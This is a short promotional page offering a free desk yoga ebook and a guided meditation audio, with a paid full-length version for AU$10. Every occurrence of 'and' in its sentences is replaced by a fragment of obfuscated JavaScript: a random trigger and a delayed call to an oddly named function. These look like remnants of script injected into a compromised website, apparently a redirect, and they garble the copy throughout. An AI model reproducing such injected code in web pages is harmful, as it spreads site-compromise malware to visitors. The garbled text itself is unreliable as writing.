Download your free desk yoga ebook

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Contains photos to show you how to ease tension in your neck, shoulders andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and back (all too common for those who work in an office!)

Practice these simple andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and effective stretches in a few minutes at your desk.

 

Free guided relaxation andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and meditation audio

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This guided meditation will take you on an inner journey to relax your body andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and quiet your mind – a 15 minute downloadable audio.

Click here to receive your free beautiful Guided Relaxation & Meditation audio. If you like what you hear – you can purchase the full 30 minute audio for AU$10.